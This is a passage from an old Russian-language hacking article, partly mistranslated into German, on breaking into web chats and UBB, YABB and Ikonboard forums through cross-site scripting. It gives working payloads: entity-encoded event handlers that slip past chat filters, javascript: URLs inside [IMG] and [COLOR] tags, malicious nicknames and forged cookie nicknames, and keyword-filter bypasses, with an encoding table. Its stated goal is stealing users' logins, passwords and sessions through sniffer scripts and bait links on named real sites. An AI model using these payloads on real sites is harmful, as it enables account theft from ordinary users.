), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Aber das ist nicht alles. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) oder background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Jetzt kann jeder Artikel veröffentlichen
    Versuchen Sie es zuerst!
    Schreiben Sie einen Artikel

    Nicht übel und Ihre Freunde diese Informationen herausfinden, teilen mit ihnen den Artikel!

    Wie es? Abonnieren Sie RSS Nachrichten!
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf:
    Erweitern / Reduzieren Expand / Collapse Box mit Kommentaren

    Kommentare

    Kommentieren, denken Sie daran , dass der Inhalt und der Ton Ihrer Nachricht , die Gefühle von echten Menschen Respekt und Toleranz gegenüber seinen Gesprächspartnern zeigen , schaden können, auch wenn Sie Ihr Verhalten in der freien Meinungsäußerung nicht ihre Meinung teilen, und die durch das Internet zur Verfügung gestellt Anonymität, Änderungen nicht nur virtuell, sondern reale Welt. Alle Kommentare aus dem Index ausgeblendet sind, überwacht Spam.
    Kostenlose Kreditkarte mit einem Limit von 15.000 US-Dollar.